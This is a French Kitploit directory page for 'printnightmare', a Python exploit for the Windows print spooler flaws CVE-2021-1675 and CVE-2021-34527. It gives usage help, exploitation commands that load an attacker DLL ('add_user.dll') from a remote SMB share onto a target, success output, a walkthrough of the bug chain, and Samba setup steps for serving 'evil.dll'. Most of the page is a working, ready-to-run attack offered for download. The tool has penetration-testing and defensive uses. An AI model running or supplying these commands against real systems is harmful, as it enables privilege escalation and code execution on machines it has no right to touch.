Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PrintNightmare — Implémentation Python pour PrintNightmare (CVE-2021-1675 / CVE-2021-34527) | Kitploit
Outils/GitHubGitHub/ly4k/printnightmare
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionDéveloppement de Charges Utiles
GitHubly4k/printnightmare

PrintNightmare

Implémentation Python pour PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Voir le dépôt
21333il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PrintNightmare

Implémentation Python de PrintNightmare (CVE-2021-1675 / CVE-2021-34527) utilisant Impacket standard.

Installation

root@kitploit:~
$ pip3 install impacket

Utilisation

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

Exemples

Exploitation

DLL distante
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
DLL locale
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

Notez que l'exemple de DLL locale n'exploite pas CVE-2021-34527 pour copier la DLL.

Nom personnalisé
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Vérifier si la cible est vulnérable

Windows 10 non corrigé
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
Windows Server 2022 corrigé
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

Lister les pilotes d'imprimante actuels

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Supprimer un pilote d'imprimante

Peut nécessiter des privilèges administratifs.

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

Détails

PrintNightmare se compose de deux CVE, CVE-2021-1675 / CVE-2021-34527.

CVE-2021-1675

Un utilisateur non administrateur est autorisé à ajouter un nouveau pilote d'imprimante. Cette vulnérabilité a été corrigée en autorisant uniquement les administrateurs à ajouter de nouveaux pilotes d'imprimante. Une version corrigée du spouleur d'impression renverra RPC_E_ACCESS_DENIED (Code : 0x8001011b) si un non-administrateur tente d'ajouter un nouveau pilote d'imprimante.

CVE-2021-34527

Lors de l'ajout d'un nouveau pilote d'imprimante, le paramètre pDataFile du DRIVER_CONTAINER autorise les chemins UNC. La DLL spécifiée dans pDataFile ne sera cependant pas chargée, mais elle sera copiée vers un chemin local, ce qui permet de créer un nouveau pilote d'imprimante avec le paramètre pConfigFile pointant vers le chemin local qui chargera la DLL. Une version corrigée du spouleur d'impression renverra ERROR_INVALID_PARAMETER (Code : 0x57)

Assembler les éléments

Seul CVE-2021-1675 est nécessaire si la DLL malveillante est déjà présente sur la cible.

Pour PrintNightmare, si la DLL n'est pas un chemin local, CVE-2021-34527 peut être utilisé pour récupérer la DLL via des chemins UNC. Pour cette raison, il est nécessaire de servir la DLL via SMB. Si vous n'êtes pas familier avec SMB et UNC, lisez la sous-section suivante.

Lors de la création d'un nouveau pilote d'imprimante, la DLL du paramètre pDataFile ne sera pas chargée pour des raisons de sécurité. Cependant, elle sera copiée vers C:\Windows\system32\spool\drivers\x64\3\. Ensuite, on pourrait créer un nouveau pilote d'imprimante qui utilise pConfigFile (ce qui chargera la DLL) avec le chemin local. Cependant, la DLL est utilisée par le premier pilote d'imprimante lors de la création du deuxième pilote d'imprimante. À la place, on pourrait écraser le premier pilote d'imprimante, ce qui fera copier les DLL du pilote d'imprimante vers C:\Windows\system32\spool\drivers\x64\3\old\<I>\, où <I> est incrémenté pour chaque DLL. Nous pouvons maintenant créer un troisième pilote d'imprimante qui utilisera le chemin local C:\Windows\system32\spool\drivers\x64\3\old\<I>\, puisque la DLL n'est plus utilisée. Il ne reste plus qu'à deviner <I>, qui commencera à s'incrémenter à partir de 1.

Notez que la DLL conservera son nom de fichier localement. Ainsi, si vous exécutez initialement l'exploit avec foo.dll et qu'il est enregistré dans C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll, puis que vous modifiez le contenu de foo.dll localement et réexécutez l'exploit, et qu'il est désormais enregistré dans C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll, alors le foo.dll d'origine sera utilisé car il se trouve dans C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. À la place, changez simplement le nom du fichier si vous modifiez le contenu de la DLL.

SMB et UNC

En bref, un chemin UNC est un chemin vers un fichier ou un dossier sur un réseau plutôt qu'un fichier local, et il contient le nom du serveur et le chemin. Par exemple, le chemin UNC \\10.0.0.2\files\foo.txt est un fichier foo.txt servi depuis le partage files du serveur 10.0.0.2. En général, un partage est servi via SMB, mais WebDAV est également pris en charge. Pour créer un partage SMB sous Linux, le moyen le plus simple et le plus fiable est d'utiliser le paquet Samba.

Pour installer Samba avec apt :

root@kitploit:~
$ sudo apt install samba

Modifiez le fichier /etc/samba/smb.conf et ajoutez ce qui suit à la fin du fichier :

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

Cela créera un nouveau partage appelé smb et servira les fichiers dans /tmp/share. Il autorise l'accès anonyme, et l'utilisateur local nobody sera utilisé pour parcourir les fichiers.

Puis démarrez le service Samba en exécutant :

root@kitploit:~
$ sudo service smbd start

Supposons que votre machine Linux ait l'IP 192.168.1.100 et que vous souhaitiez servir evil.dll ; le chemin UNC dans ce scénario sera \\192.168.1.100\smb\evil.dll.

Auteurs

  • @ly4k

Crédits

  • L'implémentation de @cube0x0
  • Impacket
Télécharger l’outil